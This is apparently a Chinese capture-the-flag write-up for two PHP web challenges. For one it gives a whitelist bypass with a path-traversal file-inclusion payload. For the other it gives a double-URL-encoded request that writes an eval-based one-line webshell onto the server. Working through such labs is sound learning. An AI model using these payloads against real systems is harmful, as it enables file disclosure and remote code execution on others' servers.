zoukankan      html  css  js  c++  java
  • wp

    hctf_2018_warmup

    查看网页源代码 

    <!DOCTYPE html>
      <html lang="en">
      <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta http-equiv="X-UA-Compatible" content="ie=edge">
      <title>Document</title>
      </head>
      <body>
      <!--source.php-->
       
      <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
      </html>

    可以发现有个source.php

    访问 得到 题目源码   这里进行分析 

    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)  #声明函数 核对$page变量
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  #白名单 source.php 和 hint.php
                if (! isset($page) || !is_string($page)) {  #判断page参数是否有值  page是否为字符串
                    echo "you can't see it";           #如果page没有值 或者 page不是字符串 输出
                    return false;
                }

                if (in_array($page, $whitelist)) {     #第一次检测 判断 page是否在白名单
                    return true;
                }

                $_page = mb_substr( #将page的值用? 作为分隔符 并取前面的值 
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) { #判断取到的值是否在白名单 说明 值中有 hint.php?
                    return true;
                }

                $_page = urldecode($page);   #对page的值解码
                $_page = mb_substr( # 同样 用?作为分隔符 再取前面的值
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {  #判断取到的值是否在白名单
                    return true;   #都满足情况下 退出函数
                }
                echo "you can't see it";
                return false;
            }
        }

        if (! empty($_REQUEST['file'])   # 这里可以得出是通过file传参数
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])  #这里说明先进行了文件核对  说明函数已经执行了
        ) {
            include $_REQUEST['file'];  #文件包含 很明显了
            exit;
        } else {
            echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
        }  
    ?>

    访问 hint.php 得到

    flag not here, and flag in /flaaagg

    告诉我们flaaagg的文件名

    构造包含payload: ?file=hint.php?../../../../../flaaagg               (../的个数可以自己实验)

    即可得到 flag 

    构造 这个也行 ?file=source.php?../../../../../flaaagg     其实都只是对=后传入的参数进行了白名单验证  之后通过../../引起的包含 并未受到影响

    ssrfme

    假的ssrf 漏洞  这里是通过Php 函数 漏洞 构造出来的 可随意将恶意代码写入文件并上传  访问   

    由于 需要二次访问 所以   需要注意二次url编码 (极其恶心)  容易编码错误  可能代码没问题

    进去后的源码并进行分析 

    <?php
    if(isset($_GET) && !empty($_GET)){   #判断_GET是否声明 并判断里面的值非空
        $url = $_GET['file'];    #满足条件 将 值赋给url变量
        $path = "upload/".$_GET['path'];   #将path获取的值 赋给 path
        
    }else{
        show_source(__FILE__);  #展示源文件
        exit();
    }

    if(strpos($path,'..') > -1){   #在path值中匹配 . .  如果有. 就结束 并说 This is a wafi   防止 目录穿越   比如../  
         die('This is a waf!');
    }


    if(strpos($url,'http://127.0.0.1/') === 0){  #提示 url的值里必须有 http://127.0.0.1/
        file_put_contents($path, file_get_contents($url));   #危险函数 file_get_contents   可以想到 php://input  等写入恶意代码执行的函数 或方法
        echo "console.log($path update successed!)";  #上传成功后输出语句
    }else{
        echo "Hello.Geeker";
    }

    payload : ?path=hacker.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%26file%3Dhttp%3a%2f%2f127.0.0.1%2findex.php 

    一是难理解 二是 url 编码总是出先 编码错误 改天我亲自做个ssrf url 编码器

    通过Php层面理解 先?path=hacker.php 传进path变量 在file 构造编码了一次的代码 解码完 算访问了一次 并生成了hacker.php  

    第二次访问 使得页面跳转到 http:/127.0.0.1/?path=一句话木马 并在后面跟了个&file=http://127.0.0.1/ 不至于报错,通过这种跳转方式 实现了将path中的值写进 hacker.php
    url编码 问题很大 容易出错 

    第二次编码只是在一句话上才有

    原理 :有点类似http拆分攻击 第二次访问url时,path=<?php @eval($_POST[1]);?>,会被echo输出,最后第二次访问返回的就是console.log(<?php @eval($_POST[1]);?> update successed!),最后就会写入到lemon.php中,那么形成了一句话木马了。

    懂了 --》这样理解好 如果第一次解码代表一次访问 那么第一次访问起作用的其实是 ?path=hacker.php&file=http://127.0.0.1/index.php  既生成了hacker.php又符合file中有http://127.0.0.1

    第二次解码 访问了(?path=hacker.php&file=http://127.0.0.1/(?path=一句话木马&file=http://127.0.0.1/)) 括号括起来的为条件满足了后面的条件 生成 了hacker.php 又在前面满足了条件生成了一句话 最终实现把一句话写进hacker.php

    顺序清楚了 那么为什么只有 一句话 编码了2次 ?

    假设所有只编码一次 那么 服务器应该不会清楚我们构造的顺序

    相当于没括号执行  括号就是代表顺序 

    所以这里 外面括号 包住的 只用编码一次 先执行 也就是先生成了hacker.php

    里面括号后执行 需要编码2次 而且 ssrf二次访问的是path 至于后面的file其实 只是个条件        path里面有url编码其实就是诱惑服务器再次进行解析 一旦解析了 就生成了一句话 

    感悟 : 服务器优先解析 已经url编码过的代码
     

  • 相关阅读:
    017 文件xfs_repair恢复,xfs_dump恢复,lvm动态扩容
    003 rsync客户端与服务端小脚本
    002 rsync守护进程传输方式详解
    001 期中架构简介、备份初识
    016 netstat、磁盘分区(fdisk、gdisk)
    015 Linux中常用的信号、HUP信号
    014 进程(PS与TOP)
    013 源码安装(Nginx&php为例)
    本地、远程仓库的搭建
    第八章
  • 原文地址:https://www.cnblogs.com/Sabia/p/14053865.html
Copyright © 2011-2022 走看看